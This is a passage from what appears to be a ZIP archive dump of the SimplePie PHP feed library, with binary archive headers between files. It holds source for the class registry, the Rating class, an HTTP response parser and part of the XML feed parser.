 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

use SimplePie\Content\Type\Sniffer;
use SimplePie\Parse\Date;
use SimplePie\XML\Declaration\Parser as DeclarationParser;

/**
 * Handles creating objects and calling methods
 *
 * Access this via {@see \SimplePie\SimplePie::get_registry()}
 *
 * @package SimplePie
 */
class Registry
{
    /**
     * Default class mapping
     *
     * Overriding classes *must* subclass these.
     *
     * @var array<class-string, class-string>
     */
    protected $default = [
        Cache::class => Cache::class,
        Locator::class => Locator::class,
        Parser::class => Parser::class,
        File::class => File::class,
        Sanitize::class => Sanitize::class,
        Item::class => Item::class,
        Author::class => Author::class,
        Category::class => Category::class,
        Enclosure::class => Enclosure::class,
        Caption::class => Caption::class,
        Copyright::class => Copyright::class,
        Credit::class => Credit::class,
        Rating::class => Rating::class,
        Restriction::class => Restriction::class,
        Sniffer::class => Sniffer::class,
        Source::class => Source::class,
        Misc::class => Misc::class,
        DeclarationParser::class => DeclarationParser::class,
        Date::class => Date::class,
    ];

    /**
     * Class mapping
     *
     * @see register()
     * @var array
     */
    protected $classes = [];

    /**
     * Legacy classes
     *
     * @see register()
     * @var array<class-string>
     */
    protected $legacy = [];

    /**
     * Legacy types
     *
     * @see register()
     * @var array<string, class-string>
     */
    private $legacyTypes = [
        'Cache' => Cache::class,
        'Locator' => Locator::class,
        'Parser' => Parser::class,
        'File' => File::class,
        'Sanitize' => Sanitize::class,
        'Item' => Item::class,
        'Author' => Author::class,
        'Category' => Category::class,
        'Enclosure' => Enclosure::class,
        'Caption' => Caption::class,
        'Copyright' => Copyright::class,
        'Credit' => Credit::class,
        'Rating' => Rating::class,
        'Restriction' => Restriction::class,
        'Content_Type_Sniffer' => Sniffer::class,
        'Source' => Source::class,
        'Misc' => Misc::class,
        'XML_Declaration_Parser' => DeclarationParser::class,
        'Parse_Date' => Date::class,
    ];

    /**
     * Constructor
     *
     * No-op
     */
    public function __construct()
    {
    }

    /**
     * Register a class
     *
     * @param string $type See {@see $default} for names
     * @param class-string $class Class name, must subclass the corresponding default
     * @param bool $legacy Whether to enable legacy support for this class
     * @return bool Successfulness
     */
    public function register($type, $class, $legacy = false)
    {
        if (array_key_exists($type, $this->legacyTypes)) {
            // trigger_error(sprintf('"%s"(): Using argument #1 ($type) with value "%s" is deprecated since SimplePie 1.8.0, use class-string "%s" instead.', __METHOD__, $type, $this->legacyTypes[$type]), \E_USER_DEPRECATED);

            $type = $this->legacyTypes[$type];
        }

        if (!array_key_exists($type, $this->default)) {
            return false;
        }

        if (!class_exists($class)) {
            return false;
        }

        /** @var string */
        $base_class = $this->default[$type];

        if (!is_subclass_of($class, $base_class)) {
            return false;
        }

        $this->classes[$type] = $class;

        if ($legacy) {
            $this->legacy[] = $class;
        }

        return true;
    }

    /**
     * Get the class registered for a type
     *
     * Where possible, use {@see create()} or {@see call()} instead
     *
     * @template T
     * @param class-string<T> $type
     * @return class-string<T>|null
     */
    public function get_class($type)
    {
        if (array_key_exists($type, $this->legacyTypes)) {
            // trigger_error(sprintf('"%s"(): Using argument #1 ($type) with value "%s" is deprecated since SimplePie 1.8.0, use class-string "%s" instead.', __METHOD__, $type, $this->legacyTypes[$type]), \E_USER_DEPRECATED);

            $type = $this->legacyTypes[$type];
        }

        if (!array_key_exists($type, $this->default)) {
            return null;
        }

        $class = $this->default[$type];

        if (array_key_exists($type, $this->classes)) {
            $class = $this->classes[$type];
        }

        return $class;
    }

    /**
     * Create a new instance of a given type
     *
     * @template T class-string $type
     * @param class-string<T> $type
     * @param array $parameters Parameters to pass to the constructor
     * @return T Instance of class
     */
    public function &create($type, $parameters = [])
    {
        $class = $this->get_class($type);

        if (!method_exists($class, '__construct')) {
            $instance = new $class();
        } else {
            $reflector = new \ReflectionClass($class);
            $instance = $reflector->newInstanceArgs($parameters);
        }

        if ($instance instanceof RegistryAware) {
            $instance->set_registry($this);
        } elseif (method_exists($instance, 'set_registry')) {
            trigger_error(sprintf('Using the method "set_registry()" without implementing "%s" is deprecated since SimplePie 1.8.0, implement "%s" in "%s".', RegistryAware::class, RegistryAware::class, $class), \E_USER_DEPRECATED);
            $instance->set_registry($this);
        }
        return $instance;
    }

    /**
     * Call a static method for a type
     *
     * @param class-string $type
     * @param string $method
     * @param array $parameters
     * @return mixed
     */
    public function &call($type, $method, $parameters = [])
    {
        $class = $this->get_class($type);

        if (in_array($class, $this->legacy)) {
            switch ($type) {
                case Cache::class:
                    // For backwards compatibility with old non-static
                    // Cache::create() methods in PHP < 8.0.
                    // No longer supported as of PHP 8.0.
                    if ($method === 'get_handler') {
                        $result = @call_user_func_array([$class, 'create'], $parameters);
                        return $result;
                    }
                    break;
            }
        }

        $result = call_user_func_array([$class, $method], $parameters);
        return $result;
    }
}

class_alias('SimplePie\Registry', 'SimplePie_Registry');
PKWd[w�liisrc/Rating.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Handles `<media:rating>` or `<itunes:explicit>` tags as defined in Media RSS and iTunes RSS respectively
 *
 * Used by {@see \SimplePie\Enclosure::get_rating()} and {@see \SimplePie\Enclosure::get_ratings()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_rating_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Rating
{
    /**
     * Rating scheme
     *
     * @var string
     * @see get_scheme()
     */
    public $scheme;

    /**
     * Rating value
     *
     * @var string
     * @see get_value()
     */
    public $value;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct($scheme = null, $value = null)
    {
        $this->scheme = $scheme;
        $this->value = $value;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the organizational scheme for the rating
     *
     * @return string|null
     */
    public function get_scheme()
    {
        if ($this->scheme !== null) {
            return $this->scheme;
        }

        return null;
    }

    /**
     * Get the value of the rating
     *
     * @return string|null
     */
    public function get_value()
    {
        if ($this->value !== null) {
            return $this->value;
        }

        return null;
    }
}

class_alias('SimplePie\Rating', 'SimplePie_Rating');
PKWd[s�	�;:;:src/HTTP/Parser.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\HTTP;

/**
 * HTTP Response Parser
 *
 * @package SimplePie
 * @subpackage HTTP
 */
class Parser
{
    /**
     * HTTP Version
     *
     * @var float
     */
    public $http_version = 0.0;

    /**
     * Status code
     *
     * @var int
     */
    public $status_code = 0;

    /**
     * Reason phrase
     *
     * @var string
     */
    public $reason = '';

    /**
     * Key/value pairs of the headers
     *
     * @var array
     */
    public $headers = [];

    /**
     * Body of the response
     *
     * @var string
     */
    public $body = '';

    private const STATE_HTTP_VERSION = 'http_version';

    private const STATE_STATUS = 'status';

    private const STATE_REASON = 'reason';

    private const STATE_NEW_LINE = 'new_line';

    private const STATE_BODY = 'body';

    private const STATE_NAME = 'name';

    private const STATE_VALUE = 'value';

    private const STATE_VALUE_CHAR = 'value_char';

    private const STATE_QUOTE = 'quote';

    private const STATE_QUOTE_ESCAPED = 'quote_escaped';

    private const STATE_QUOTE_CHAR = 'quote_char';

    private const STATE_CHUNKED = 'chunked';

    private const STATE_EMIT = 'emit';

    private const STATE_ERROR = false;

    /**
     * Current state of the state machine
     *
     * @var self::STATE_*
     */
    protected $state = self::STATE_HTTP_VERSION;

    /**
     * Input data
     *
     * @var string
     */
    protected $data = '';

    /**
     * Input data length (to avoid calling strlen() everytime this is needed)
     *
     * @var int
     */
    protected $data_length = 0;

    /**
     * Current position of the pointer
     *
     * @var int
     */
    protected $position = 0;

    /**
     * Name of the hedaer currently being parsed
     *
     * @var string
     */
    protected $name = '';

    /**
     * Value of the hedaer currently being parsed
     *
     * @var string
     */
    protected $value = '';

    /**
     * Create an instance of the class with the input data
     *
     * @param string $data Input data
     */
    public function __construct($data)
    {
        $this->data = $data;
        $this->data_length = strlen($this->data);
    }

    /**
     * Parse the input data
     *
     * @return bool true on success, false on failure
     */
    public function parse()
    {
        while ($this->state && $this->state !== self::STATE_EMIT && $this->has_data()) {
            $state = $this->state;
            $this->$state();
        }
        $this->data = '';
        if ($this->state === self::STATE_EMIT || $this->state === self::STATE_BODY) {
            return true;
        }

        $this->http_version = '';
        $this->status_code = 0;
        $this->reason = '';
        $this->headers = [];
        $this->body = '';
        return false;
    }

    /**
     * Check whether there is data beyond the pointer
     *
     * @return bool true if there is further data, false if not
     */
    protected function has_data()
    {
        return (bool) ($this->position < $this->data_length);
    }

    /**
     * See if the next character is LWS
     *
     * @return bool true if the next character is LWS, false if not
     */
    protected function is_linear_whitespace()
    {
        return (bool) ($this->data[$this->position] === "\x09"
            || $this->data[$this->position] === "\x20"
            || ($this->data[$this->position] === "\x0A"
                && isset($this->data[$this->position + 1])
                && ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20")));
    }

    /**
     * Parse the HTTP version
     */
    protected function http_version()
    {
        if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/') {
            $len = strspn($this->data, '0123456789.', 5);
            $this->http_version = substr($this->data, 5, $len);
            $this->position += 5 + $len;
            if (substr_count($this->http_version, '.') <= 1) {
                $this->http_version = (float) $this->http_version;
                $this->position += strspn($this->data, "\x09\x20", $this->position);
                $this->state = self::STATE_STATUS;
            } else {
                $this->state = self::STATE_ERROR;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    /**
     * Parse the status code
     */
    protected function status()
    {
        if ($len = strspn($this->data, '0123456789', $this->position)) {
            $this->status_code = (int) substr($this->data, $this->position, $len);
            $this->position += $len;
            $this->state = self::STATE_REASON;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    /**
     * Parse the reason phrase
     */
    protected function reason()
    {
        $len = strcspn($this->data, "\x0A", $this->position);
        $this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20");
        $this->position += $len + 1;
        $this->state = self::STATE_NEW_LINE;
    }

    /**
     * Deal with a new line, shifting data around as needed
     */
    protected function new_line()
    {
        $this->value = trim($this->value, "\x0D\x20");
        if ($this->name !== '' && $this->value !== '') {
            $this->name = strtolower($this->name);
            // We should only use the last Content-Type header. c.f. issue #1
            if (isset($this->headers[$this->name]) && $this->name !== 'content-type') {
                $this->headers[$this->name] .= ', ' . $this->value;
            } else {
                $this->headers[$this->name] = $this->value;
            }
        }
        $this->name = '';
        $this->value = '';
        if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A") {
            $this->position += 2;
            $this->state = self::STATE_BODY;
        } elseif ($this->data[$this->position] === "\x0A") {
            $this->position++;
            $this->state = self::STATE_BODY;
        } else {
            $this->state = self::STATE_NAME;
        }
    }

    /**
     * Parse a header name
     */
    protected function name()
    {
        $len = strcspn($this->data, "\x0A:", $this->position);
        if (isset($this->data[$this->position + $len])) {
            if ($this->data[$this->position + $len] === "\x0A") {
                $this->position += $len;
                $this->state = self::STATE_NEW_LINE;
            } else {
                $this->name = substr($this->data, $this->position, $len);
                $this->position += $len + 1;
                $this->state = self::STATE_VALUE;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    /**
     * Parse LWS, replacing consecutive LWS characters with a single space
     */
    protected function linear_whitespace()
    {
        do {
            if (substr($this->data, $this->position, 2) === "\x0D\x0A") {
                $this->position += 2;
            } elseif ($this->data[$this->position] === "\x0A") {
                $this->position++;
            }
            $this->position += strspn($this->data, "\x09\x20", $this->position);
        } while ($this->has_data() && $this->is_linear_whitespace());
        $this->value .= "\x20";
    }

    /**
     * See what state to move to while within non-quoted header values
     */
    protected function value()
    {
        if ($this->is_linear_whitespace()) {
            $this->linear_whitespace();
        } else {
            switch ($this->data[$this->position]) {
                case '"':
                    // Workaround for ETags: we have to include the quotes as
                    // part of the tag.
                    if (strtolower($this->name) === 'etag') {
                        $this->value .= '"';
                        $this->position++;
                        $this->state = self::STATE_VALUE_CHAR;
                        break;
                    }
                    $this->position++;
                    $this->state = self::STATE_QUOTE;
                    break;

                case "\x0A":
                    $this->position++;
                    $this->state = self::STATE_NEW_LINE;
                    break;

                default:
                    $this->state = self::STATE_VALUE_CHAR;
                    break;
            }
        }
    }

    /**
     * Parse a header value while outside quotes
     */
    protected function value_char()
    {
        $len = strcspn($this->data, "\x09\x20\x0A\"", $this->position);
        $this->value .= substr($this->data, $this->position, $len);
        $this->position += $len;
        $this->state = self::STATE_VALUE;
    }

    /**
     * See what state to move to while within quoted header values
     */
    protected function quote()
    {
        if ($this->is_linear_whitespace()) {
            $this->linear_whitespace();
        } else {
            switch ($this->data[$this->position]) {
                case '"':
                    $this->position++;
                    $this->state = self::STATE_VALUE;
                    break;

                case "\x0A":
                    $this->position++;
                    $this->state = self::STATE_NEW_LINE;
                    break;

                case '\\':
                    $this->position++;
                    $this->state = self::STATE_QUOTE_ESCAPED;
                    break;

                default:
                    $this->state = self::STATE_QUOTE_CHAR;
                    break;
            }
        }
    }

    /**
     * Parse a header value while within quotes
     */
    protected function quote_char()
    {
        $len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position);
        $this->value .= substr($this->data, $this->position, $len);
        $this->position += $len;
        $this->state = self::STATE_VALUE;
    }

    /**
     * Parse an escaped character within quotes
     */
    protected function quote_escaped()
    {
        $this->value .= $this->data[$this->position];
        $this->position++;
        $this->state = self::STATE_QUOTE;
    }

    /**
     * Parse the body
     */
    protected function body()
    {
        $this->body = substr($this->data, $this->position);
        if (!empty($this->headers['transfer-encoding'])) {
            unset($this->headers['transfer-encoding']);
            $this->state = self::STATE_CHUNKED;
        } else {
            $this->state = self::STATE_EMIT;
        }
    }

    /**
     * Parsed a "Transfer-Encoding: chunked" body
     */
    protected function chunked()
    {
        if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body))) {
            $this->state = self::STATE_EMIT;
            return;
        }

        $decoded = '';
        $encoded = $this->body;

        while (true) {
            $is_chunked = (bool) preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches);
            if (!$is_chunked) {
                // Looks like it's not chunked after all
                $this->state = self::STATE_EMIT;
                return;
            }

            $length = hexdec(trim($matches[1]));
            if ($length === 0) {
                // Ignore trailer headers
                $this->state = self::STATE_EMIT;
                $this->body = $decoded;
                return;
            }

            $chunk_length = strlen($matches[0]);
            $decoded .= substr($encoded, $chunk_length, $length);
            $encoded = substr($encoded, $chunk_length + $length + 2);

            // BC for PHP < 8.0: substr() can return bool instead of string
            $encoded = ($encoded === false) ? '' : $encoded;

            if (trim($encoded) === '0' || empty($encoded)) {
                $this->state = self::STATE_EMIT;
                $this->body = $decoded;
                return;
            }
        }
    }

    /**
     * Prepare headers (take care of proxies headers)
     *
     * @param string  $headers Raw headers
     * @param integer $count   Redirection count. Default to 1.
     *
     * @return string
     */
    public static function prepareHeaders($headers, $count = 1)
    {
        $data = explode("\r\n\r\n", $headers, $count);
        $data = array_pop($data);
        if (false !== stripos($data, "HTTP/1.0 200 Connection established\r\n")) {
            $exploded = explode("\r\n\r\n", $data, 2);
            $data = end($exploded);
        }
        if (false !== stripos($data, "HTTP/1.1 200 Connection established\r\n")) {
            $exploded = explode("\r\n\r\n", $data, 2);
            $data = end($exploded);
        }
        return $data;
    }
}

class_alias('SimplePie\HTTP\Parser', 'SimplePie_HTTP_Parser');
PKWd[Xzgc�c�src/Parser.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

use SimplePie\XML\Declaration\Parser as DeclarationParser;

/**
 * Parses XML into something sane
 *
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_parser_class()}
 *
 * @package SimplePie
 * @subpackage Parsing
 */
class Parser implements RegistryAware
{
    public $error_code;
    public $error_string;
    public $current_line;
    public $current_column;
    public $current_byte;
    public $separator = ' ';
    public $namespace = [''];
    public $element = [''];
    public $xml_base = [''];
    public $xml_base_explicit = [false];
    public $xml_lang = [''];
    public $data = [];
    public $datas = [[]];
    public $current_xhtml_construct = -1;
    public $encoding;
    protected $registry;

    public function set_registry(\SimplePie\Registry $registry)/* : void */
    {
        $this->registry = $registry;
    }

    public function parse(&$data, $encoding, $url = '')
    {
        if (class_exists('DOMXpath') && function_exists('Mf2\parse')) {
            $doc = new \DOMDocument();
            @$doc->loadHTML($data);
            $xpath = new \DOMXpath($doc);
            // Check for both h-feed and h-entry, as both a feed with no entries
            // and a list of entries without an h-feed wrapper are both valid.
            $query = '//*[contains(concat(" ", @class, " "), " h-feed ") or '.
                'contains(concat(" ", @class, " "), " h-entry ")]';
            $result = $xpath->query($query);
            if ($result->length !== 0) {
                return $this->parse_microformats($data, $url);
            }
        }

        // Use UTF-8 if we get passed US-ASCII, as every US-ASCII character is a UTF-8 character
        if (strtoupper($encoding) === 'US-ASCII') {
            $this->encoding = 'UTF-8';
        } else {
            $this->encoding = $encoding;
        }

        // Strip BOM:
        // UTF-32 Big Endian BOM
        if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") {
            $data = substr($data, 4);
        }
        // UTF-32 Little Endian BOM
        elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") {
            $data = substr($data, 4);
        }
        // UTF-16 Big Endian BOM
        elseif (substr($data, 0, 2) === "\xFE\xFF") {
            $data = substr($data, 2);
        }
        // UTF-16 Little Endian BOM
        elseif (substr($data, 0, 2) === "\xFF\xFE") {
            $data = substr($data, 2);
        }
        // UTF-8 BOM
        elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") {
            $data = substr($data, 3);
        }

        if (substr($data, 0, 5) === '<?xml' && strspn(substr($data, 5, 1), "\x09\x0A\x0D\x20") && ($pos = strpos($data, '?>')) !== false) {
            $declaration = $this->registry->create(DeclarationParser::class, [substr($data, 5, $pos - 5)]);
            if ($declaration->parse()) {
                $data = substr($data, $pos + 2);
                $data = '<?xml version="' . $declaration->version . '" encoding="' . $encoding . '" standalone="' . (($declaration->standalone) ? 'yes' : 'no') . '"?>' ."\n". $this->declare_html_entities() . $data;
            } else {
                $this->error_string = 'SimplePie bug! Please report this!';
                return false;
            }
        }

        $return = true;

        static $xml_is_sane = null;
        if ($xml_is_sane === null) {
            $parser_check = xml_parser_create();
            xml_parse_into_struct($parser_check, '<foo>&amp;</foo>', $values);
            xml_parser_free($parser_check);
            $xml_is_sane = isset($values[0]['value']);
        }

        // Create the parser
        if ($xml_is_sane) {
            $xml = xml_parser_create_ns($this->encoding, $this->separator);
            xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1);
            xml_parser_set_option($xml, XML_OPTION_CASE_FOLDING, 0);
            xml_set_character_data_handler($xml, [$this, 'cdata']);
            xml_set_element_handler($xml, [$this, 'tag_open'], [$this, 'tag_close']);

            // Parse!
            $wrapper = @is_writable(sys_get_temp_dir()) ? 'php://temp' : 'php://memory';
            if (($stream = fopen($wrapper, 'r+')) &&
                fwrite($stream, $data) &&
                rewind($stream)) {
                //Parse by chunks not to use too much memory
                do {
                    $stream_data = fread($stream, 1048576);
                    if (!xml_parse($xml, $stream_data === false ? '' : $stream_data, feof($stream))) {
                        $this->error_code = xml_get_error_code($xml);
                        $this->error_string = xml_error_string($this->error_code);
                        $return = false;
                        break;
                    }
                } while (!feof($stream));
                fclose($stream);
            } else {
                $return = false;
            }

            $this->current_line = xml_get_current_line_number($xml);
            $this->current_column = xml_get_current_column_number($xml);
            $this->current_byte = xml_get_current_byte_index($xml);
            xml_parser_free($xml);
            return $return;
        }

        libxml_clear_errors();
        $xml = new \XMLReader();
        $xml->xml($data);
        while (@$xml->read()) {
            switch ($xml->nodeType) {
                case constant('XMLReader::END_ELEMENT'):
                    if ($xml->namespaceURI !== '') {
                        $tagName = $xml->namespaceURI . $this->separator . $xml->localName;
                    } else {
                        $tagName = $xml->localName;
                    }
                    $this->tag_close(null, $tagName);
                    break;
                case constant('XMLReader::ELEMENT'):
                    $empty = $xml->isEmptyElement;
                    if ($xml->namespaceURI !== '') {
                        $tagName = $xml->namespaceURI . $this->separator . $xml->localName;
                    } else {
                        $tagName = $xml->localName;
                    }
                    $attributes = [];
                    while ($xml->moveToNextAttribute()) {
                        if ($xml->namespaceURI !== '') {
                            $attrName = $xml->namespaceURI . $this->separator . $xml->localName;
                        } else {
                            $attrName = $xml->localName;
                        }
                        $attributes[$attrName] = $xml->value;
                    }
                    $this->tag_open(null, $tagName, $attributes);
                    if ($empty) {
                        $this->tag_close(null, $tagName);
                    }
                    break;
                case constant('XMLReader::TEXT'):

                case constant('XMLReader::CDATA'):
                    $this->cdata(null, $xml->value);
                    break;
            }
        }
        if ($error = libxml_get_last_error()) {
            $this->error_code = $error->code;
            $this->error_string = $error->message;
            $this->current_line = $error->line;
            $this->current_column = $error->column;
            return false;
        }

        return true;
    }

    public function get_error_code()
    {
        return $this->error_code;
    }

    public function get_error_string()
    {
        return $this->error_string;
    }

    public function get_current_line()
    {
        return $this->current_line;
    }

    public function get_current_column()
    {
        return $this->current_column;
    }

    public function get_current_byte()
    {
        return $this->current_byte;
    }

    public function get_data()
    {
        return $this->data;
    }

    public function tag_open($parser, $tag, $attributes)
    {
        [$this->namespace[], $this->element[]] = $this->split_ns($tag);

        $attribs = [];
        foreach ($attributes as $name => $value) {
            [$attrib_namespace, $attribute] = $this->split_ns($name);
            $attribs[$attrib_namespace][$attribute] = $value;
        }

        if (isset($attribs[\SimplePie\SimplePie::NAMESPACE_XML]['base'])) {
            $base = $this->registry->call(Misc::class, 'absolutize_url', [$attribs[\SimplePie\SimplePie::NAMESPACE_XML]['base'], end($this->xml_base)]);
            if ($base !== false) {
                $this->xml_base[] = $base;
                $this->xml_base_explicit[] = true;
            }
        } else {
            $this->xml_base[] = end($this->xml_base);
            $this->xml_base_explicit[] = end($this->xml_base_explicit);
        }

        if (isset($attribs[\SimplePie\SimplePie::NAMESPACE_XML]['lang'])) {
            $this->xml_lang[] = $attribs[\SimplePie\SimplePie::NAMESPACE_XML]['lang'];
        } else {
            $this->xml_lang[] = end($this->xml_lang);
        }

        if ($this->current_xhtml_construct >= 0) {
            $this->current_xhtml_construct++;
            if (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_XHTML) {
                $this->data['data'] .= '<' . end($this->element);
                if (isset($attribs[''])) {
                    foreach ($attribs[''] as $name => $value) {
                        $this->data['data'] .= ' ' . $name . '="' . htmlspecialchars($value, ENT_COMPAT, $this->encoding) . '"';
                    }
                }
                $this->data['data'] .= '>';
            }
        } else {
            $this->datas[] = &$this->data;
            $this->data = &$this->data['child'][end($this->namespace)][end($this->element)][];
            $this->data = ['data' => '', 'attribs' => $attribs, 'xml_base' => end($this->xml_base), 'xml_base_explicit' => end($this->xml_base_explicit), 'xml_lang' => end($this->xml_lang)];
            if ((end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_ATOM_03 && in_array(end($this->element), ['title', 'tagline', 'copyright', 'info', 'summary', 'content']) && isset($attribs['']['mode']) && $attribs['']['mode'] === 'xml')
            || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_ATOM_10 && in_array(end($this->element), ['rights', 'subtitle', 'summary', 'info', 'title', 'content']) && isset($attribs['']['type']) && $attribs['']['type'] === 'xhtml')
            || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_20 && in_array(end($this->element), ['title']))
